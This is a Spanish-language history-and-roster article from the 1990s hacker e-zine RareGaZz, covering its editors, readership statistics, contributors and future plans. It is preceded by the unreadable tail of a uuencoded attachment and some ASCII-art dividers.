M;)BW&EWZCY=Y[R&#-#@O-GN:7]`8;>D_YX/E@U`(R5N3U!0D'+57+`/3?MW# M`M_L_L:YS$^U`9KK^N7+>//<0^@N[X+3>O%BXS<7EUNF3S,YQAI``=M9TSR? M8Q_^P]5/M,-TKMP`K:%M73?#'?LH18-FGH\I&R_[T,K_J#,N)R1=K>[F3@3C MR.1Y%@@VZ+QPVH85`LV'06;(Y_VF@F"$@XSX$@FC4QIZ)%`:B/-.UR**PWM6 M?D&+.G/L(TG9PWU4F%J7GV<=<[9OR'=-8Z^*N14EF"@:BV^2;-!8`Q0H@JA; MT9_G%MK?$HS"7=[GD=MVI%C18ABD5LPE&.H`'G+LP8W-NBZL?U\7\)\^M)ZR M%BQH2Y^"?0(N%0)$#=.G!*HW)1LJ]RGUXWLH;X+8)01"@-W;52B-]Q4L!EG% MJ$S=&$!E8$@\C,C-'@[J'(GKY>Z)S_NB^:U=0RD0"($P=X!G^</C_;I;&UX0 MA:W;$Z+0TRTX7Z:SOY.V%RZ[XS5XB!20D71IK,O1'4'J'H8VV[IA)]<I7=WV M1/;[W%4/.4H;$WP3LDZ<LX"7O/"-D[+`[<%&2)_+>AS,,/CLFLJV`)9-TQ1: MTSUW\JJD1_XP<,&#`A\&Z6-^+D)!M%X+:W?44A>X[R&!*M%H"6PY^4ZY:9:I M@6!C$V,W#BCC=[YF$T:7P3VA0]VJ//3X\M)@9X"<FFP[78P2BCZ4RG'*I8AH MH:X55&N@8,.L,XPCK<EJZU_)S(-"RJ[^D$B)#(P[\M8$C3-5O4,ZW3.R<2]* M3=:@!U23^)(:@22G-,S%2^LL<:*2!83,J-"[\.-+(/4.?RCU%'+4\L;%FI=, M&WLJ?;[_7ZIU=ABDI;=D(PS5H:-#&%='EET9)PG#K\N?FZ?&)X<E%=]'Q(M1 M[=@W1NB"U]C+!ARIY-=_:\J[;L1/6Q-B41<?/\[,07:X0[?DM!(6$C%(PL>B M>P88G$8P\YZ%1;J\4?CU5#@$`_?.-M]AL!%^'IJ7BBC%3T<U>7B<Z+<_FQQO M98!0BR[SV/?BIM/O4%VN'YSO3H8IE^).D0<E@O6-HCB>LV1V;/U5E:+SE(GR M!5F0=)1Q*Y7WHGBU"WU-RN[I(`$8ROPB!)!$.$DF[7,SX].K+7!Y9-A'2M[1 M<M+NI2(X$::6?.?E3'CP1?`B'PL^GM%)VO$14[*-JB>5.\0(8[>W*!HX3`W1 M.H"K1SNEN+79W$MO[V&D@:745K&=H,KT?PC@L?XHN/W,6E;[_-8(;M=X]H/" ML'V46<V"J,+'2JY5YR<9>]M,DDPP'0]R5V-I]/9"_"E53,E['>@C_U+/2M.D M[\7XVR<(C<+XG?A4H,SEL3X"M3HX`)Y%F>-Q8DG,<QQ;CORII$/6)?IODA3H M:3&^1K"R1T"!>LZ@X[(?CF/3UJJDQO*$%,FI3YVED3H/T"=1L&NBT@BS;W`F M/(E4AO_]^K\WY8\FZQ/,/?LJ\<QO[.UHTJ)\$7B4HY@U7)OM)8CK4=6DI6?Q ML<\WB:6#UW2^K*78AH2\7'+`1$)$O@SCNX#&3M"Q%";N-O`RE^E<@.G$3JEH MP1KO[AI''K(L<2M:S)_"Z4)4U_9W->FTJ4?!VD"I"EK#!U"8JPQR@IG[HH+O M<BIHJI4?@F+?QF=&?OV:>485$9BL5Z\:Q/@+/=C%-X:,@)S?ZA4%U['FV^B! MH;\7Y$'&3%**+8052OJ].+V#%E4RPUZ]G\G&&WDY@?FI5+:8!23KO%"5JG@4 M>Y+4*#V6Y-<C@=[E$W]-`<+:#D6*!]I=!5E2HVO[(:K.[A5G!XE8B0Y;'2`; M$,)<-,PJ=!^9H%RX.B):>`@2L^QOQW5:!W+>L;.YMP9.(W]``/?E2J"(69/V M[5W7LOY;?N`?SE(N(L!;K=F7HO4RU.@_1D%N4V$1PS[8_S>(QX3>O?$31V=& M@V0VYF/T\NT=\7BGS=S((]=5W3YV4SAQQG1J!SJV2O*,I7$NR;.C>F\9H_!: M9U.SX+@R;[P/LK1];BP[KU>J>_6_6P&$JBSRN87+_*/ADY-E`<.U3&!?9PP$ M)GU(W[UM]CSC;I5HEL#TKH7EJDM.0M^2T=)]^6-4QR7DPY=J&*<Z#R$(VV0@ M(:ISX^SUV.]SVI24)5H#@@)OU)@:%7.!>)?57K(A]?S'2Y!4I$YZ-QMF[V(V M+O/%6%;;E?E`NO`897CG]?8(YJ6=$.*7VFVN%'(@;0L^N)5XMI27_,<)\4.Z M;L8W5GIMT%`*WL!5Y:FM'DK?LKJ^D84"S+Q4MI0@RT>U+*/XY&7`8=@MS`0_ M8,!)ZT=<IU)9P9*.N<FR5/LY)B8:'@+ERF[XO[_XKT>]>YSH&+J#97!QD1QT MDFU<$4F2:OE"_S'NO.7KX(1@=`:#1`>?=Z46^[W`/(<G_,J`]/90><MD9V-L :ZN-Q2T*'K%Z@U?0HLZG;M*>LY@O%A\2PW_>P ` end ∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\ @%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@% @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ RareGaZz a finales del año 1997 !¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡!¡! o a principios de milenio lo que llegue primero... por el webguru y mediasavi raretrip A continuacion algunos hechos para desmentir verdades y aclarar mitos creados alrededor de este zine en el transcurso del tiempo que hemos estado en-linea. & Editores ~~~~~~~~~~ - Numero 5 Killerbot - Numero 6 Raretrip - KillerBot - Numero 7 CrackSmoker - Todos los demas raretrip. & Stats ~~~~~~~ - Del primer numero al segundo teniamos no mas de 120 direcciones en la lista de correo. Hay que hacer notar que estos eran los unicos lectores pues todavia no teniamos pagina web. - Desde el tercer numero hasta el quinto la lista de correo era de 250 direcciones o menos. Nuestra pagina web recibia 15 visitas diarias cuando mucho de acuerdo al contador en geocities.* - Algo paso en el quinto numero pero la lista de correo se disparo a 400 direcciones al parecer gracias a la implementacion de forms en la seccion log-in de la antigua pagina. Los hits eran 20/25 - De ahi en adelante todo se desenvolvio rapidamente y eran 30 hits diarios. La lista de correo siguio aumentando... - Actualmente la lista de correo cuenta con 682 direcciones de email por todo el mundo y la pagina recibe + o - 100 visitas diarias. *No valen los hits de los navegadores sin la opcion "Auto Load Images". & Personal ~~~~~~~~~~ - Inicialmente killerbot, Le PompeItor y yo sacamos los dos primeros numeros usando www.whowhere.com como nuestra fuente de direcciones de email buscando en ciudades mexicanas. - DuvaHazard colabora en el tercer numero en respuesta a un texto publicado en un periodico local. Mr.X hace lo mismo y nos manda textos de varias personalidades. KillerBot continua y Le PompeItor se desaparece mientras que RdK acepta colaborar con el zine. - En el numero cuatro seguimos los mismos y se une serverhacker de RdK, cracksmoker prefiere ser colaborador unicamente. Como algo nuevo se crea un grupo aparte encargado de repeler ataques por bombas de correo o de otro tipo...tienen exito y desaparece. - El numero 5 se ve mas estable, seguimos los 4 colaboradores permanentes mientras que Arkangel y Cracksmoker colaboran y forman Letz Hack. Groovy debuta por primera vez (un admin de un banco). - Despues en el numero seis se ausentan como de costumbre Mr.X y LePompeItor pero con las colaboraciones de DuvaHazard, Orion y Truco ni se nota :-) - Para el numero siete se une `permanentemente' a raregazz cracksmoker -se sale inmediatamente-. En este numero se hace algo nunca antes hecho. Entre el colaborador Yo, Mr.x y yo (?) hacemos el texto "tips para el hacker ms-dos". Un exito compartido por 3. Tambien una excelente revision de software escrita por RdK bajo el seudonimo "Siskel&Ebert". Cracksmoker se encarga de nuestra pagina web en ese numero y cambia todos los colores :-( Mientras serverhacker sigue colaborando al igual que TucanX, NiK y GuyBrush. Groovy sigue y seguira en RareGaZz encargado de las noticias separandose hasta el numero actual de serverhacker. - Para el numero ocho hemos formado un ejercito de colaboradores que empujan a este zine mas alla de lo imaginado. Azumlord hace su debut asi como tambien Nopal Picudo y Swoish. GuyBrush es ahora colaborador permanente al igual que Mr.X, ServerHacker, KillerBot y LePompeItor. & Personal Actual ~~~~~~~~~~~~~~~~~ A nosotros nos pueden reprochar el no ser estrictamente "Elite" por permitir ingresos en nuestro grupo, pero eso no nos detiene a reclutar mentes talentosas y dedicadas por eso los colaboradores permanentes de raregazz son en estos momentos: Arkangel - Azumlord - Groovy - Guybrush - KillerBot - Mr.X - Orion - RareTrip ServerHacker - VoV_77 Por favor no mail preguntando ¿puedo ser admitido? Todas estas personas han colaborado constantemente y obviamente se han ganado el pase. No esperes que por un texto o dos seas nombrado inmediatamente colaborador permanente pero tampoco pienses que nunca podras serlo...uno nunca sabe. Ademas, los puestos se van pasando y asi hay oportunidades para todos! & Futuro ~~~~~~~~ Este es el futuro de RareGaZz: mejores textos, mas presencia en internet y mas colaboradores. Proximamente un editor diferente. En politica seguira siendo informacion gratuita, laica, maniaca, panikeada, pasada, freakeada, y sin censura. Para bien o para mal. GreetZ a todo el ( ) MUNDO ENTERO ( ) y que tengan PAZz! http://www.geocities.com/Baja/4426 http://raregazz.islatortuga.com